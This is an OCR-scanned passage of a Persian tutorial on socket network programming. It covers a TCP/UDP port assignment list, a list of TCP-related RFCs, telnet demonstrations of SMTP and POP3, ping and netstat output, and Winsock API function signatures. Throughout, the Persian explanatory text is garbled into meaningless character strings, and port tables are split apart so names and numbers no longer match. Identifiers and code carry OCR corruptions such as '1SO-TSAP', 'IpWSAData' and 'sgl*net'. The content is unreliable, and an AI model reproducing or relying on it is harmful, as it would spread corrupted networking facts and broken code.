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compressnet
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#

rje

rje

#

#

echo

echo

Decimal

4/tcp
4/udp
5/tcp
5/udp
6/tcp
6/udp
7/tcp
7/udp
8/tcp

1—1506“0)£@0m9 b)w

Description
Reserved

Reserved

TCP Port Service
TCP Port Service
Management Utility
Management Utility
Compression Process
Compression Process
Bernie Volz
Unassigned
Unassigned

Remote Job Entry
Remote Job Entry
Unassigned
Unassigned

Echo

Echo

Unassigned
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#
discard
discard
#

#
systat
systat

daytime
daytime

R OHF O OH R

qotd
qotd

msp

msp
chargen
chargen
ftp-data
ftp-data
ftp

ftp

#

#

telnet
telnet

smtp
smtp

nsw-fe

8/udp

9/tcp

9/udp
10/tcp
10/udp
11/tcp
11/udp
12/tcp
12/udp
13/tcp
13/udp
14/tcp
14/udp
15/tcp
15/udp
16/tcp
16/udp
17/tcp
17/udp
18/tcp
18/udp
19/tcp
19/udp
20/tcp
20/udp
21/tcp
21/udp
22/tcp
22/udp
23/tcp
23/udp
24/tcp
24/udp
25/tcp
25/udp
26/tcp
26/udp
27/tcp

Unassigned
Discard
Discard
Unassigned
Unassigned
Active Users
Active Users
Unassigned
Unassigned
Daytime
Daytime
Unassigned
Unassigned

Unassigned [was netstat]

Unassigned
Unassigned
Unassigned

Quote of the Day
Quote of the Day
Message Send Protocol

Message Send Protocol

Character Generator

Character Generator

File Transfer
File Transfer
File Transfer
File Transfer
Unassigned
Unassigned
Telnet
Telnet

[Default Data]
[Default Data]
[Control]
[Control]

any private mail system

any private mail system

Simple Mail Transfer

Simple Mail Transfer

Unassigned
Unassigned

NSW User System FE
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nsw-fe 27/udp NSW User System FE
# 28/tcp Unassigned
# 28/udp Unassigned
msg-icp 29/tcp MSG ICP
msg-icp 29/udp MSG ICP
# 30/tcp Unassigned
# 30/udp Unassigned
msg-auth 31/tcp MSG Authentication
msg-auth 31/udp MSG Authentication
# 32/tcp Unassigned
# 32/udp Unassigned
dsp 33/tcp Display Support Protocol
dsp 33/udp Display Support Protocol
# 34/tcp Unassigned
# 34/udp Unassigned
35/tcp any private printer server
35/udp any private printer server
# 36/tcp Unassigned
# 36/udp Unassigned
time 37/tcp Time
time 37/udp Time
rap 38/tcp Route Access Protocol
rap 38/udp Route Access Protocol
rip 39/tcp Resource Location Protocol
rip 39/udp Resource Location Protocol
# 40/tcp Unassigned
# 40/udp Unassigned
graphics 41/tcp Graphics
graphics 41/udp Graphics
nameserver 42/tcp Host Name Server
nameserver 42/udp Host Name Server
nicname 43/tcp Who Is
nicname 43/udp Who Is
mpm-flags 44/tcp MPM FLAGS Protocol
mpm-flags 44/udp MPM FLAGS Protocol
mpm 45/tcp Message Processing Module [recv]
mpm 45/udp Message Processing Module [recv]
mpm-snd 46/tcp MPM [default send]
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mpm-snd
ni-ftp
ni-ftp
auditd
auditd
login
login
re-mail-ck
re-mail-ck
la-maint
la-maint
xns-time
xns-time
domain
domain
Xns-ch
Xns-ch
isi-gl
isi-gl
xns-auth
xns-auth

xns-mail
xns-mail

ni-mail
ni-mail
acas

acas

#

#

covia
covia
tacacs-ds

46/udp
47/tcp
47/udp
48/tcp
48/udp
49/tcp
49/udp
50/tcp
50/udp
51/tcp
51/udp
52/tcp
52/udp
53/tcp
53/udp
54/tcp
54/udp
55/tcp
55/udp
56/tcp
56/udp
57/tcp
57/udp
58/tcp
58/udp
59/tcp
59/udp
60/tcp
60/udp
61/tcp
61/udp
62/tcp
62/udp
63/tcp
63/udp
64/tcp
64/udp
65/tcp

MPM [default send]

NI FTP

NI FTP

Digital Audit Daemon

Digital Audit Daemon

Login Host Protocol

Login Host Protocol

Remote Mail Checking Protocol
Remote Mail Checking Protocol
IMP Logical Address Maintenance
IMP Logical Address Maintenance
XNS Time Protocol

XNS Time Protocol

Domain Name Server

Domain Name Server

XNS Clearinghouse

XNS Clearinghouse

ISI Graphics Language

ISI Graphics Language

XNS Authentication

XNS Authentication

any private terminal access
any private terminal access
XNS Mail

XNS Mail

any private file service

any private file service
Unassigned

Unassigned

N1 MAIL

N1 MAIL

ACA Services

ACA Services

Unassigned

Unassigned

Communications Integrator (CI)
Communications Integrator (CI)
TACACS-Database Service
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tacacs-ds 65/udp TACACS-Database Service
sgl*net 66/tcp Oracle SQL*NET
sgl*net 66/udp Oracle SQL*NET
bootps 67/tcp Bootstrap Protocol Server
bootps 67/udp Bootstrap Protocol Server
bootpc 68/tcp Bootstrap Protocol Client
tftp 69/tcp Trivial File Transfer
tftp 69/udp Trivial File Transfer
gopher 70/tcp Gopher
gopher 70/udp Gopher
netrjs-1 71/tcp Remote Job Service
netrjs-1 71/udp Remote Job Service
netrjs-2 72/tcp Remote Job Service
netrjs-2 72/udp Remote Job Service
netrjs-3 73/tcp Remote Job Service
netrjs-3 73/udp Remote Job Service
netrjs-4 74/tcp Remote Job Service
netrjs-4 74/udp Remote Job Service
75/tcp any private dial out service
75/udp any private dial out service
deos 76/tcp Distributed External Object Store
deos 76/udp Distributed External Object Store

77/tcp any private RJE service
77/udp any private RJE service

vettcp 78/tcp vettcp

vettcp 78/udp vettcp

finger 79/tcp Finger

finger 79/udp Finger

www-http 80/tcp World Wide Web HTTP
www-http 80/udp World Wide Web HTTP
hosts2-ns 81/tcp HOSTS2 Name Server
hosts2-ns 81/udp HOSTS2 Name Server
xfer 82/tcp XFER Utility

xfer 82/udp XFER Utility
mit-ml-dev 83/tcp MIT ML Device
mit-ml-dev 83/udp MIT ML Device

ctf 84/tcp Common Trace Facility
ctf 84/udp Common Trace Facility
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mit-ml-dev 85/tcp MIT ML Device
mit-ml-dev 85/udp MIT ML Device
mfcobol 86/tcp Micro Focus Cobol
mfcobol 86/udp Micro Focus Cobol

87/tcp any private terminal link
87/udp any private terminal link

kerberos 88/tcp Kerberos

kerberos 88/udp Kerberos

su-mit-tg 89/tcp SU/MIT Telnet Gateway

su-mit-tg 89/udp SU/MIT Telnet Gateway

dnsix 90/tcp DNSIX Securit Attribute Token Map
dnsix 90/udp DNSIX Securit Attribute Token Map
mit-dov 91/tcp MIT Dover Spooler

mit-dov 91/udp MIT Dover Spooler

npp 92/tcp Network Printing Protocol

npp 92/udp Network Printing Protocol

dcp 93/tcp Device Control Protocol

dcp 93/udp Device Control Protocol

objcall 94/tcp Tivoli Object Dispatcher

objcall 94/udp Tivoli Object Dispatcher

supdup 95/tcp SUPDUP

supdup 95/udp SUPDUP

dixie 96/tcp DIXIE Protocol Specification
dixie 96/udp DIXIE Protocol Specification
swift-rvf 97/tcp Swift Remote Vitural File Protocol
swift-rvf 97/udp Swift Remote Vitural File Protocol
tacnews 98/tcp TAC News

tacnews 98/udp TAC News

metagram 99/tcp Metagram Relay

metagram 99/udp Metagram Relay

newacct 100/tcp [unauthorized use]

hostname 101/tcp NIC Host Name Server

hostname 101/udp NIC Host Name Server

iso-tsap 102/tcp 1SO-TSAP

iso-tsap 102/udp 1SO-TSAP

gppitnp 103/tcp Genesis Point-to-Point Trans Net
gppitnp 103/udp Genesis Point-to-Point Trans Net
acr-nema 104/tcp ACR-NEMA Digital Imag. & Comm. 300
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acr-nema 104/udp ACR-NEMA Digital Imag. & Comm. 300
csnet-ns 105/tcp Mai lbox Name Nameserver

csnet-ns 105/udp Mai lbox Name Nameserver
3com-tsmux 106/tcp 3COM-TSMUX

3com-tsmux 106/udp 3COM-TSMUX

rtelnet 107/tcp Remote Telnet Service

rtelnet 107/udp Remote Telnet Service

snagas 108/tcp SNA Gateway Access Server

snagas 108/udp SNA Gateway Access Server

pop2 109/tcp Post Office Protocol - Version 2
pop2 109/udp Post Office Protocol - Version 2
pop3 110/tcp Post Office Protocol - Version 3
pop3 110/udp Post Office Protocol - Version 3
sunrpc 111/tcp SUN Remote Procedure Call

sunrpc 111/udp SUN Remote Procedure Call

mcidas 112/tcp McIDAS Data Transmission Protocol
mcidas 112/udp McIDAS Data Transmission Protocol
auth 113/tcp Authentication Service

auth 113/udp Authentication Service

audionews 114/tcp Audio News Multicast

audionews 114/udp Audio News Multicast

sttp 115/tcp Simple File Transfer Protocol
sttp 115/udp Simple File Transfer Protocol
ansanotify 116/tcp ANSA REX Notify

ansanotify 116/udp ANSA REX Notify

uucp-path 117/tcp UUCP Path Service

uucp-path 117/udp UUCP Path Service

sqglserv 118/tcp SQL Services

sqglserv 118/udp SQL Services

nntp 119/tcp Network News Transfer Protocol
nntp 119/udp Network News Transfer Protocol
cfdptkt 120/tcp CFDPTKT

cfdptkt 120/udp CFDPTKT

erpc 121/tcp Encore Expedited Remote Pro.Call
erpc 121/udp Encore Expedited Remote Pro.Call
smakynet 122/tcp SMAKYNET

smakynet 122/udp SMAKYNET

ntp 123/tcp Network Time Protocol
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ntp 123/udp Network Time Protocol
ansatrader 124/tcp ANSA REX Trader

ansatrader 124/udp ANSA REX Trader

locus-map 125/tcp Locus PC-Interface Net Map Ser
locus-map 125/udp Locus PC-Interface Net Map Ser
unitary 126/tcp Unisys Unitary Login

unitary 126/udp Unisys Unitary Login

locus-con 127/tcp Locus PC-Interface Conn Server
locus-con 127/udp Locus PC-Interface Conn Server
gss-xlicen 128/tcp GSS X License Verification
gss-xlicen 128/udp GSS X License Verification
pwdgen 129/tcp Password Generator Protocol
pwdgen 129/udp Password Generator Protocol
cisco-fna 130/tcp cisco FNATIVE

cisco-fna 130/udp cisco FNATIVE

cisco-tna 131/tcp cisco TNATIVE

cisco-tna 131/udp cisco TNATIVE

cisco-sys 132/tcp cisco SYSMAINT

cisco-sys 132/udp cisco SYSMAINT

statsrv 133/tcp Statistics Service

statsrv 133/udp Statistics Service

ingres-net 134/tcp INGRES-NET Service

ingres-net 134/udp INGRES-NET Service

loc-srv 135/tcp Location Service

loc-srv 135/udp Location Service

profile 136/tcp PROFILE Naming System

profile 136/udp PROFILE Naming System
netbios-ns 137/tcp NETBIOS Name Service
netbios-ns 137/udp NETBIOS Name Service
netbios-dgm 138/tcp NETBI0OS Datagram Service
netbios-dgm 138/udp NETBI0OS Datagram Service
netbios-ssn 139/tcp NETBIOS Session Service
netbios-ssn 139/udp NETBIOS Session Service
emfis-data 140/tcp EMFIS Data Service

emfis-data 140/udp EMFIS Data Service

emfis-cntl 141/tcp EMFIS Control Service
emfis-cntl 141/udp EMFIS Control Service

bl-1dm 142/tcp Britton-Lee IDM

www.PersianGenius.blogfa.com

Page 49



M) Socket Network Programming

bl-idm
imap2
imap2
news
news
uaac
uaac
iso-tp0
iso-tp0
1so-ip
i1so-ip
cronus
cronus
aed-512
aed-512
sgl-net
sgl-net

142/udp
143/tcp
143/udp
144/tcp
144/udp
145/tcp
145/udp
146/tcp
146/udp
147/tcp
147/udp
148/tcp
148/udp
149/tcp
149/udp
150/tcp
150/udp

Britton-Lee 1DM

Interim Mail Access Protocol v2
Interim Mail Access Protocol v2
NewS

NewS

UAAC Protocol

UAAC Protocol

1SO-1PO

1SO-1PO

1SO-1IP

1SO-1IP

CRONUS-SUPPORT

CRONUS-SUPPORT

AED 512 Emulation Service

AED 512 Emulation Service
SQL-NET

SQL-NET

..)..‘.:‘94‘59‘) Ao w‘)éwul&%‘wmsow 9530 6[@ u)y Syg0 4O J,olf uLC)‘l.L:‘sul.@M

dwles osalie RFC 1700 s

L A>gd

sae K L RFC jo il oo sols ooy aSits cilisee pulin Llpo a5 siws goliwl v RFC

oo aitle slo aalip (o3l o lasbin] cupm Joass 4 aSb peolis 51 SO RFC 2 0008 o (e
2ol oo o &g 0,90 ;0 RFC 1700 Jlie ylgie 4y col oo o0ls 7 10 calises slo o8 10 g 01,81 Lawgs

el 0l 00ls sl ] jo 09l Cole ) aliBie (sl Anliyy o Wb Ojes 950 0 a5 SIS adS

RFC Comment

el o..LoT » RFC )‘ (5‘4'” &9..49.9 9 o)l.o.& ).:) o

25251 "Known TCP Implementation Problems"

3155B "End-to-end Performance Implications of Links with Errors"
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3360B "Inappropriate TCP Resets Considered Harmful™

3449B "TCP Performance Implications of Network Path Asymmetry"

34931 ""Basic Socket Interface Extensions for I1Pv6"

1144P "Compressing TCP/IP headers for low-speed serial links"

2488B "Enhancing TCP Over Satellite Channels using Standard Mechanisms”

3481B "TCP over Second (2.5G) and Third (3G) Generation Wireless
Networks™

21401 "TCP Control Block Interdependence

2582E ""The NewReno Modification to TCP"s Fast Recovery Algorithm"

2861E "TCP Congestion Window Validation™

3465E "TCP Congestion Control with Appropriate Byte Counting (ABC)"

3522E "The Eifel Detection Algorithm for TCP"

3540E "Robust Explicit Congestion Notificaiton (ECN) signaling with
Nonces"'

1146E "TCP alternate checksum options"

13791 "Extending TCP for Transactions -- Concepts"

1644E "T/TCP -- TCP Extensions for Transactions Functional
Specification”

1693E "An Extension to TCP: Partial Order Service"

24151 "Simulation Studies of Increased Initial TCP Window Size"
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24161 "When TCP Starts Up With Four Packets Into Only Three Buffers"

27601 "Ongoing TCP Research Related to Satellites”

28841 '"Performance Evaluation of Explicit Congestion Notification
(ECN)iIn IP Networks"

29231 "TCP Problems with Path MTU Discovery"

29631 "A Rate Adaptive Shaper for Differentiated Services"

31351 "Performance Enhancing Proxies Intended to Mitigate Link-Related
Degradations™

11801 "TCP/IP tutorial™

14701 "FY1 on a Network Management Tool Catalog: Tools for Monitoring
and Debugging TCP/IP Internets and Interconnected Devices"

21511 "A Primer on Internet and TCP/IP Tools and Utilities"

23981 "Some Testing Tools for TCP Implementors™

2873P "TCP Processing of the I1Pv4 Precendence Field"

2883P "An Extension to the Selective Acknowledgement (SACK) Option for
TCP™

2988P '"Computing TCP"s Retransmission Timer"

3042P "Enhancing TCP"s Loss Recovery Using Limited Transmit"

3168P "The Addition of Explicit Congestion Notification (ECN) to IP"

3390P "Increasing TCP"S Initial Window"

3517P "A Conservative Selective Acknowledgement (SACK)-based Loss
Recovery Algorithm for TCP"
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Cookie:
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User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)

Host: www.google.com
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MAIL FROM : ot b Sag iUl Cany w01

RCPT TO : 00,8 (Saig i Gy yo 0]
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telnet gmail.com 25

HELO gmail.com

MAIL FROM : test@gmail.com
RCPT TO : Ali@yahoo.com
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SUBJECT: This is a Test

DATA:
Hi Ali
How are You?

QUIT
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(}"’9)“5” w) AR g § yuw k)u)éi 110 u)y o)l.o.l:a telnet

telnet gmail.com 110
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J@QGAQL..J ‘) POP3 Js‘ﬁ)"l‘)ls"W)") Jl.,uo

telnet gmail.com 110
+OK POP3 server ready ( oies gy ol )

USER  Test
+0OK

PASS XXXXXX
+OK login successful

LIST
1 2536
4563
3 8955
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4122
3) 6333

RETR 1

Salam
Hal Shoma

Bye

DELE 3
QUIT
+OK POP3 server disconnecting
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Header

Version length

Type of service

Total length
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Flags

Fragment offset

Time to live

Frotocol

Header checksum

A2-bit source address

32-bit destination address

Options

Padding
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0,5 oolaiwl g (g dxdad ¢ Cogr Al (6,50, ¢ 2l e Sllos

ASSS

D5 oo aseine IPVB sls iy a0 Next Header ols alews 4 00 o ool

ASSS

g ol 3l ole 09y 5 6,500 Gl SS9 n cldes gwyp g aSih oL cae S Sopil Y o
5 21 ND 3 MLD . ICMPV6 g5 s IPV6 s 4 IGMP 5 ICMP os5 s s S5,

L ICMP JSig 9

w2300 o SSon 5l G paite b 4 JSSep ol Canenl Lo 4
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C:\ping 192.168.5.63

Pinging 192.168.5.63 with 32 bytes of data:
Reply from 192.168.5.63: bytes=32 time=1ms TTL=128
Reply from 192.168.5.63: bytes=32 time<10ms TTL=128

Reply from 192.168.5.63: bytes=32 time<10ms TTL=128
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Reply from 192.168.5.63: bytes=32 time<10ms TTL=128

Ping statistics for 192.168.5.63:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 1ms, Maximum = 1ms, Average = 1ms

L oS o osleds a5 jghilen g cunl 423,515 ool 5,90 j9aing Jole piwams PING 50 YU Jlis o
ICMP w4 Lol b aabip ol ool oo S 192.168.5.63 o j0TL cwcsle s l5l ol 5l oolaasl

B )90 )3 DgldS sl (295 Ol 03lo (59, lalhas slaxi g Jluyl Caepw 3,57 st ol 50
D2 oo 8 L Lo o asils

- JG 4y
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&l oo iy y15 duabie fyudle 4 loue cyuile 1 ledlbl Jlasl g1y TCP g UDP g4 sl &g aY ol jo
(w‘ omiyuw)oo)‘yw‘tﬂ)

oyl ¥ a ],y ool ool Jloyl oolel a5 dies 12 5098 (o plol s b dies S Sldae 4Y (ol o
w2 o s Jlo)) g
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S (o0 eawline jeang Jele i o 1) 0l cpl (295 05 50
C:\NetStat /na
Active Connections
Proto Local Address Foreign Address State
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TCP
TCP
TCP
TCP
TCP
UDP
UDP

0.0.0.0:135
127.0.0.1:1025
169.254.183.114:137
169.254.183.114:138
169.254.183.114:139
169.254.183.114:137
169.254.183.114:138

0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0

*k

LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

[l 00l oulas 5 idu e o NEtStat |l 9,5 oS o conlive YU Jle ;0 a5 jshilen

Proto .

Local Address .
Foreign Address .
State .

oo opile w0l LOCAl ADAress cud jo coonl oo ools Liales (bls )| JSGg, Proto e o
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50 Saled 0 g 00d oo 0l Gl ol faie dowe edle jo Slal 0590 Oygn A a5 (6590 of, padile
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TCP/IP Protocol Suite

OSl model layers DARPA layers | | |

Application Layer
Preseufaltion Layer Application Layer HTTP FTP SMTP DNS RIP SNMP
Session Layer
Transport Layer TCP UDP
Transport Layer
IGMP | ICMP ND [ MLD
Net\vﬂl‘k Lﬂ:}e] |nternet Layer |CM PV6
ARP IP (IPv4) IPv8
Data Link Layer
Network Interface | VA L
Layer i FEthenet : i wireless : iFrameRelay: : ATM
Physical Layer LAN P P

TCP/IP jsls sl 1-28 s
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ooliwl WINSOCK.N jan 5l L 5005 Jole st ;0 450 caug aalip lp Jle olgie 4 o8 )58l

*NIX oolgils slo Jole pinsw 10 aSs cungs aslip g1y g 0o il slo )55 845 a5 0uiS o

www.PersianGenius.blogfa.com Page 76



M) Socket Network Programming oSt S gy ol

Bl bl e a4 oS e eolinul Koo sle jamg  SYS/type.h . sys/socket.h s
S w9 ol i | Jele piaew g9 (COmpiler Directive ) ,Lals slabaal, bawgs aslazeign
2Ly ele paew j2 0 b dln coi 5 cparole 8 esliial 9550 1) ole s jo ) bgpe slo

a5l oo Lzl 5 mile 0l & dez i BB ((o5kleels 55 a4 4l LS

AL ol yen 4, WINSOCKZ.N jua 5 55005 Juole pins 51 (Bj90] Ssps (sl QLS )1 s ol 50
o aples 0,91 Z08 sl i 5l ola Jle 04 5L5 a5 xS 1p g.098 (0 eolazwl VC++

$2 A5 (63,050 dgame j0 Ko wiil oo LSS b jan gyl dan jo oolaiul 050 aulsi a5 Casly wul an !
IRV PR I W IWE P E Ly

'Winsock2.h yud 48 99> g0 peo Qg3 T g
int WSAStartup(
WORD wVersionRequested,
LPWSADATA IpWSAData

);

Mbsnd.i..wmd.nb).: LS‘)-?‘ LS‘)-? JALCW 4,,:.]9\ LS)‘}f)lfﬁdjl*“ ooLan\).g égl} U"‘
) el Oyl o1 sla ylesS |

E5 4 olad cpl bos clp oS cwlwinsock.h jus 55 o,les a5 WVersionRequested
Winsock2.h sl Jle lgie a5 0,5 ooliwl makeword 5 SL 5l ol .« WORD

wVersionRequested=makeword(2,0);
rwinsockl.l.h 5,5 sl g

wVersionRequested=makeword(2,1);

iy ,x5 WINSOCK  jua )0 45wl o WSADATA (ol esls ylaislo go5 5l e o pgo 3legS )
ol 0l

ol O ygo cpl ] i ya 0gou g el ol slacl

typedef struct WSAData {
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WORD wVersion;
WORD wHighVersion;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS _STATUS LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR *  IpVendorlnfo;
} WSADATA, *LPWSADATA,

e

WSADATA wsaData;

WORD wVersionRequested=makeword(2,0);
WSAStartup(wVersionRequested,wsaData);

Wlo,S s mlyeole Fy sllad oS CulSlh Sgo 0 g Al ,S o p ) sro laie Codige Oyge o &L gl
int WSACIeanup (void);

bl oo Jole pacn 45Ul 4 by ye (5515550 pledl sl 2b o0l
o 1, SOCKET_ERROR L plp ool s 50 &j90 10 5 yho Jlade Cuddge Ojgo ,0 gl ol
ils S
SOCKET socket(
int af,
int type,
int protocol

);

W‘J.Lzaé)you)youwyuiwjf)‘M9és)‘sn)lsé\au)y&:Ql.?u‘sg.m).u(s‘).:é:lau.:‘

RUVGON S U B I o Ay &l 6LQJLQ9§)T
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JrsS lp cad AF_INET el plp ol 6po)l5 lp a5 conl yo] g5 0aisS aseine a5 Af
53 SOCK_STREAM <ol 1, TCP L)l 6 slp a5 ail (oo bls) g9 00isS aseine TYPE
2wl SOCK_DGRAM .1, UDP ¢4 5l LLs,l s sl p

L IPPROTO_TCP <ot TCP lp bls)l lp canle ol JSS5 g4 ;L o Protocol
IPPROTO_UDP cub L1l soue jlaie UDP 41, 50 soue jlaie

Uas 59,0 Oygo 50 g Cawle Hla5 0550 CS g 0 by o Sliog (iuiil p lade Coddge Ojg0 ;0 b ol
1o )5 oo 1, INVALID_SOCKET 4L 4 o0l

int bind(
SOCKET s,
const struct sockaddr FAR *name,
int namelen

);

99, 0,8
:Mtﬁ&\@%;@@l}kﬁldbduﬁj
28 ,laie SOCKEt mb iy Jlade b aS sl aalip 10 ool ciyyad S gm £g5 i a5 Jol logS )]
ol 0l
o) ol oad i ya5 Ll yo SOCKAAAr_iN ;lasle e a5 ol abisl> 5l dowe (w0l pgs legS ]
(el ool aslol 3o sleisle ol
I, ol ojluil Sizeof lee L asly o a5 cowl SOCKAAAr_IN lasle poie ol v pow logS
SOCKET_ERROR ciiége pac &g 10 9 ls,5 cop |y yho jlaie Cabbge &g 0 &b oy

int listen(

SOCKET s,
int backlog

);
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50 hatd Al plas all alls axgi olo sage 4 jgpw aslp jo |y bas 4y fols 065 as by listen &b
c0,0 0,0, 59 asli

:Mﬁj)\;j@u&\éuduﬁj

Mb‘sninb)a)éowwﬁauf&wwé\ss

g &l eols blyjl cunlgm o floy SO0 piwaw 40 a5 Clil sl o sl o olawd w2 Backlog
ils S

SOCKET accept(
SOCKET s,
struct sockaddr FAR *addr,
int FAR *addrlen

);

39y oo )5 w lISteNn &b 5l aw Jlas! canlgs 0 Jgud (6l &b ol
Late Guile Olasie QAN (lesS )T jo a5 @ales (ol b ol oo BINd &b asile b ol slo jlesS )]
L oS o S 1y aledlbl cpl oS Sleaslo ojlast addrlen LSl 5 5,5 o 13 jgym 4 on

50 9 Cemle a5 8590 590 oy udle S gw 4 bgye Sliog (S 5 lade Culdee Ojgo ;0 by
1,5 oo 1, INVALID_SOCKET 4l 4 ool Uas 590 & 90

int connect(
SOCKET s,

const struct sockaddr FAR *name,
int namelen

);

ol 0w ol gl legS )l g 80 sage p jomw 4l b, bLS ) (5,0 8, ailsg CONNECE b

Socket ab a8, jlaie les o (INtEYEI= mmo sue sl ools 95 ) wil o S g £ 51 4SS

Sl

www.PersianGenius.blogfa.com Page 80



M) Socket Network Programming oSt S gy ol

3L oo SOCKAAr_IN sl sols laitlu g9 5l piie SO (50 ylegS |
Sl a5 e a5 el WINSOCK.N jua o ooy iy a5 xS 2l G SOCKAAr_in - sl ools o ylaxsLos
ol 0 Ly y15 ) O ygeo 4 45 Sl Sledbl 3550 6 [P o y0T cimen g LS, &9 o0 les
struct sockaddr_in{
short sin_family;
unsigned short  sin_port;
struct in_addr  sin_addr;
char sin_zerol[8];

}

ol plp Sl oo p)lS sl a5l bl w0l g5 s ls a5 sl SIN_Tamily b a4 sgac
BB ggi a0 v0e howd slp adl aS conl b5, &g 0 leids 00isS aseie SIN_pOrt el AF_INET
oolawl htons(int PortNumber); ol a4 sosS Jows ool G 5l bl lawgs (BEL t0 LE2) 18
ald, SO Syge 4 &S P ol o)l oS5 lp ail oo olesle SO oogs a5 SIN_addr g 0es o

g5 ly col (o T ol Bpre a5 SIS ) o (gl a8 WSl oo 09 (o0 (aseie 2SI
Colgs ,0 9 998 e oolixl INet_addr(char *ipaddress); oL 4 b 5l 2l Loy vgd LG

39y o0 ) A osd sla wieS L xSl ol sl Laas> ol SIN_ZErO

sockaddr_in recSinlP;
recSinlP.sin_family=AF INET; //Set Address Family
recSinlP.sin_port=htons(1362); //Set Port Number
recSinIP.sin_addr.S_un.s_addr=inet_addr(“192.168.0.1");
sl @ oy o a5 el sockadd_in =1l o5lasl Nnamelen w connect oG 51 ss,T
.sizeof(sockaddr_in) : cusg o) jlade
ils S
e Ooe0 4 U 0gd 00ld gl inet_addr() 5 htons() &b g0 3l eolaxul Jdo as” ol p3Y el (o

e syt 55 0l J 53 elye o

! Big-Endian
2 Little-Endian
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5 o)l S b gm Wsd e 0SS LE & g0 4 aladls 10 SLS (59 0] sl Sgasls p3 45wl
Slp o 398 (o0 07038 135 5 o)led b ails o0 285l 5 Cubi g 398 (o0 003 S5eS ojled b s o

Wl 2 )90 4

89:32 4> 89:33 4l 89:34 4l 89:35 «ls

89:34 01 ;o L)) ol g oo 0,33 89:33 ool jo iyl oS ol oS o conlive a5 jglailen
Ay jo Ll asS o 0,d a0 ) SllS Ojge (o A4 Jaere Gl SgelS cnl ool 058
ol o Wb 5 38 oo @ 9gd e Sloiits BE g5 5l s 398 o Joe Se &30 4 TCP/IP
S 0338 18 1 wydl 38 G55l o5 ol g 1S gS ol 50 B3]l (m aBl o alibl> o b

0gd oo Joe 1y S5 asle 3578H sue sl e

89:32 4> 89:33 4l 89:34 4l 89:35 «ls

i oS Jas BE 50 4 L TCP/IP jus sla (5355 auls Lo Laié a5 ety azr g 4S5 ) 4 Ly 4
2055 Sjgo a4 Culg Koo ¢ aigh (oo Jlu)) a5l o a5 GBI NS 5 &g o)l 5 1P ol
a5 Ces 55 50 Mie Wyl Lo melal 4 65l 500 5 wls 1B e g 4 e SanllS (sl
8 3 5 ol ol s S (sl Sl e ) 45 g5 5 po BE g5 41, SIN_family uLs

5 oo 5 o i
oo bl e iy o o8 cuslons a3 ki o (g LE g5 m oSy s BE g5 oo sl 055

NN VESURIN VS %

u_short htons(
u_short hostshort

)

10,8 o BE clls b el (o0l g0 00e G a5 1) 095 ylegS,T &b oyl
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u_long htonl(
u_long hostlong

)

Ails 5 o p BE clls a ol 0l Yoz sae 6 aS | 095 lesS T ali ol
u_short ntohs(
u_short netshort

)

Wls,5 ap LE clls b il 2ol g0 vae G aS 1 095 legS 1 &b o]
u_long ntohl(
u_long netlong

)

WI5,5 oy LE Gl 4y el b Loz oo oy a5 | 055 ylesS,T sl o

unsigned long inet_addr(
const char FAR *cp

)

£55 3l bl oae o g0 F o |yl o T sl Bye as (@D.CA) LSS ats, SOl g
2o pll gwyo w1y 03 Sldee b b ol pixe b g sl ol &5 Sy90 0 wls,5 o » BE
B4 o 03l S ali gy INADDR_NONE lais

g
lasile ol oo las o 5l alais Aliws 4 o T ol 5l Cond 12 4T oS 5l gk 1) ats, a5 Wb
192.168.0.1

int send(
SOCKET s,
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const char FAR *buf,
int len,
int flags

)i

39y 2 S @ Sl Ll gly 25 0l
sl oo 2308 5 ol sl plesS )l

ol 5 Iyl sl S Sledlbl oS alabl> 5l s Loyol DUT aslip )0 oo i yad &S guo puiie S
ol g oS Jlo )l quples o a8 Sledbl ojlail len us)ls )3

ol oo plp Jgene Clls 0 a5 0l oo Jloyl Slesdais gl culgd Jols oo flags

J..:L})f &y ‘) ol Jl.u)‘ w.ﬂ.‘iyolad‘f‘) G:l.ao)..f\)lfolm é:la w‘

int recv(
SOCKET s,
char FAR *buf,
int len,
int flags

)i

IS oo o)Ll 098 o (6 IS ead Bl o Sledlbl a5 aladl> 5 ol a4 b ol o a5 bUf

J..:L})f ‘50.:).: oé; uﬂla)é w.ﬂ.‘iyol;d‘f‘) ‘s:l.b)..s)ls |ows Gunf).: )‘J.Q.A u‘s&bé)b w‘

int sendto(
SOCKET s,
const char FAR *buf,
int len,
int flags,
const struct sockaddr FAR *to,
int tolen
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D4 oo oolitul ead Lasine 10 HleeS )Ty a5 ols wjel a4 Sledbl Loyl slp 2l ol )
ol dabio 0] Jsb 0aisS aseie ml ol jo tOlEN LesS )T
int recvfrom(
SOCKET s,
char FAR* buf,
int len,
int flags,
struct sockaddr FAR *from,
int FAR *fromlen

0 533 pgms HlogS )T 10 1 eaiiw B w0l 4T Ciglis pl b ogd e eoliiwl wledbl el o slp &b ool
(from (less,1 o) 05 (oo
ol eloe oyol Jgb 0aisS aseie 1l ol ,o fromlen L3 )1
int shutdown(
SOCKET s,
int how

A @8gie |y Oledbl il o b Jlo )l Oldes apalesn a5 05 o0 oolaiwl gloj alb ol 5l

&b oSy Jlade 5 (INE) sl cSsu g5 51 a5 S lesS )T a5 axin 18 ool 51 b ol sla (ylesS )]
ol dalip 50 ooliznl & )90 S g 00isS Carogs a5 SOCKEL()

el Wb b a5 ol Loe g55 40,5 Lastie slp canl INE g4 5) o dae S a5 NOW (yLesS )T
ol 8 4 ally e i 4 aS 0,5 o s polde OlegS T cpl ams

Slizen 2l 0 Sllee Jg cails pulgss Jlo,l Sldas o5 5 cpl & a5 a0 sae L SD_RECEIVE
ls dalgs aslol

Shesliinl b plimed o)y (oo Jg diide o0 aasls 1) 8l 0 aldee colb opl 1 6 vae L SD_SEND
2,8 Jll ) s ools aeli
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A*SGAJL@)A.:\) <l o g Jloyl Gldes g0 ;0 a5 1 g0 o‘.xcliSD_BOTH
511 eols <dl,e b Jloyl slo cio Laid xS od I TCP la a0 (g9, p ol ol a5 aesl asls a>gs
DR o O
Sldes 1l a5 Jyge 40 9 SOCKET_ERROR ol cuibge pac &g 4o ali opl (S Jlade
int closesocket(
SOCKET s
);

